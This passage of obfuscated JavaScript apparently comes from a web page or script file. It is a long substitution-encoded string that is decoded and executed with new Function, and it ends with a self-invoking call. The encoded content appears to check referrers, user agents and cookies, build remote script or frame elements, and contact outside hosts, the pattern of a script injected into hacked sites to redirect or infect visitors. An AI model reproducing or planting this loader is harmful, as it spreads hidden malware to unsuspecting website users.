282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();